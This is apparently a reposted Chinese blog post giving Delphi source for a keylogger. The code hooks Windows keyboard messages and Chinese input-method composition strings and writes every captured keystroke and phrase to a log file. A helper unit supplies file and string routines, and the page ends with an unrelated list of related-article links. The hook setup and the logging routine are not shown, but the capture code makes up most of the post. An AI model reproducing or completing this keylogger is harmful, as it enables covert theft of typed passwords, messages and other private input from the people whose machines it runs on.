一个中英文键盘记录源代码

简介:
 
一个中英文键盘记录源代码
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;//回调函数
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PMSG(lparam);
  if pcs^.message = WM_KEYUP then
  begin
  if pcs^.wParam<$30 then
  begin
    if pcs^.wParam=VK_UP then ToFileProc('[↑]')
    else
    if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
    else
    if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
    else
    if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
    else
    if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
    else
    if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
    else
    if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
    else
    if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
    else
    if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
    else
    if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
  end;
  end
  else
  if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
  begin
  if not (IsDBCSleadByte(pcs^.wParam)) then
  begin
    if (wParam and PM_REMOVE)>0 then
    begin
      if pcs^.wParam=VK_SPACE then ToFileProc(' ')
      else
      if pcs^.wParam=VK_RETURN then ToFileProc('#10')
      else
      ToFileProc(char(pcs^.wParam AND $FF))
    end;
  end;
  end;
end;
pcs:=nil;
end;
function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PCWPSTRUCT(lparam);
  if PCs^.message = WM_IME_COMPOSITION then
  begin
    hFocus := GetFocus();
    HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
    if HIMC = 0 then Exit;
    //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
    if dwLen > 0 then
    begin
        // 再调用一次.ImmGetCompositionString获取字符串
      if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
      begin
      if strcomp(cchar,cchar2)<>0 then
        ToFileProc(cchar);
      strcopy(cchar2,cchar);
      ZeroMemory(@cchar,20);
      end;
    end;
    ImmReleaseContext(hFocus, HIMC);
  end;
end;
pcs:=nil;
end;
unit Unit_Other;
interface
uses
  Windows;
const
  WM_DRAWCLIPBOARD    = $0308;
  WM_CHANGECBCHAIN    = $030D;
{======================Messages.pas============================================}
const
  NULL = 0;
  WM_DESTROY = $0002;
  WM_CHAR = $0102;
  WM_IME_CHAR = $0286;
  WM_IME_COMPOSITION = $010F;
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR                  = $0800;
imm32 = 'imm32.dll';
function ImmGetContext(hWnd: HWND): HIMC; stdcall; external imm32 name 'ImmGetContext';
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA';
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
  fmOpenRead      = $0000;
  fmOpenWrite      = $0001;
  fmOpenReadWrite  = $0002;
  fmShareCompat    = $0000 platform; // DOS compatibility mode is not portable
  fmShareExclusive = $0010;
  fmShareDenyWrite = $0020;
  fmShareDenyRead  = $0030 platform; // write-only not supported on all platforms
  fmShareDenyNone  = $0040;
function FileCreate(const FileName: string): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
implementation
type
  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;
function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    ESI,EAX
        MOV    EDI,EDX
        MOV    ECX,0FFFFFFFFH
        XOR    AL,AL
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,ESI
        MOV    ESI,EDX
        MOV    EDX,ECX
        MOV    EAX,EDI
        SHR    ECX,2
        REP    MOVSD
        MOV    ECX,EDX
        AND    ECX,3
        REP    MOVSB
        POP    ESI
        POP    EDI
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    EDI,EDX
        MOV    ESI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    EAX,EAX
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,EDX
        XOR    EDX,EDX
        REPE    CMPSB
        MOV    AL,[ESI-1]
        MOV    DL,[EDI-1]
        SUB    EAX,EDX
        POP    ESI
        POP    EDI
end;
function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
{$IFDEF MSWINDOWS}
const
  AccessMode: array[0..2] of LongWord = (
    GENERIC_READ,
    GENERIC_WRITE,
    GENERIC_READ or GENERIC_WRITE);
  ShareMode: array[0..4] of LongWord = (
    0,
    0,
    FILE_SHARE_READ,
    FILE_SHARE_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
  Result := -1;
  if ((Mode and 3) <= fmOpenReadWrite) and
    ((Mode and $F0) <= fmShareDenyNone) then
    Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
      ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0));
end;
{$ENDIF}
function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
  Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
end;
function FileCreate(const FileName: string): Integer;
begin
  Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
  if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
    Result := -1;
end;
procedure FileClose(Handle: Integer);
begin
  CloseHandle(THandle(Handle));
end;
end.

mybr的

本文转自9pc9com博客,原文链接:   http://blog.51cto.com/215363/916118       如需转载请自行联系原作者

相关文章
|
Web App开发 HTML5 移动开发
谷歌浏览器Chrome播放rtsp视频流解决方案
代码中的具体参数含义,大家可以移步这里: https://wiki.videolan.org/Documentation:WebPlugin/   找半天,HTML5的可以支持RTMP 但是无法播放RTSP,flash也止步于RTMP,最后同事推荐了个开源的好东东 VLC ,请教谷歌大神之后,这货果然可以用来让各浏览器(IE activex方式,谷歌、FF)实现播放RTSP视频流,那真是极好的~~ 废话不多说了附上参考文档和案例,大家自己看吧。
11261 1
|
存储 Web App开发 人工智能
『GitHub项目圈选18』推荐5款本周 超实用 的开源项目
『GitHub项目圈选18』推荐5款本周 超实用 的开源项目
1229 1
|
数据采集 安全
主动扫描和被动扫描
在扫描器中输入目标域名或者URL用爬虫模块爬取所有链接,对GET、POST等请求进行参数变形和污染,进行重放测试,然后依据返回信息中的状态码、数据大小、数据内容关键字等去判断该请求是否含有相应的漏洞。
1201 0
主动扫描和被动扫描
|
存储 安全 UED
Cyber Triage 3.13 for Windows - 数字取证和事件响应
Cyber Triage 3.13 for Windows - 数字取证和事件响应
336 71
Cyber Triage 3.13 for Windows - 数字取证和事件响应
|
Java 程序员 语音技术
怎么用Java 把多个音频拼接成一个?
**Java音频拼接指南** 在Java中,利用音频处理库`cn.juwatech.*`可合并音频文件。步骤包括导入库,创建`AudioFile`对象,将它们添加到列表,然后用`AudioConcatenator.concat()`拼接成一个文件。注意确保音频格式一致,处理异常,并考虑性能优化。此技术提升用户体验,适用于音频编辑和合成场景。[来源:稀土掘金](https://juejin.cn/post/7387701265797840932)
578 0
|
开发工具 git
部署hexo遇到报错ERROR Deployer not found: git的解决办法
部署hexo遇到报错ERROR Deployer not found: git的解决办法
973 0
CorelDraw2023新版本安装详细图文教程
coreldraw作为一款知名的图形设计软件,拥有很多的忠实用户,对于一些新用户来说,对于软件了解不深,coreldraw是一款非常好用的设计软件,功能非常强大,它可应用于商标设计、标志制作、模型绘制、插图描画、排版及分色输出等领域,因此受到了不少设计师的青睐,但还有许多小白不了解,coco玛奇朵今天就给大家带来coreldraw是什么软件去哪里下载的分享。
2245 0
|
Go 开发者
Golang设置代理
Golang设置代理GOPROXY和GOSUMDB
17338 2
Golang设置代理
|
Linux
研究WPS Office的LINUX postinst脚本,发现了错误,应该学习柳氏风格
研究WPS Office的LINUX postinst脚本,发现了错误,应该学习柳氏风格
261 0
|
IDE Go 开发工具
go mod 错误"malformed module path"新发现
当项目出现"malformed module path ......: missing dot in first path element"错误时,网上说的解决办法有两种: 修改go.mod,添加replace 如果使用goland这个ide,修改配置 但是还有一种状况,用以上的方式都不能解决.
18900 0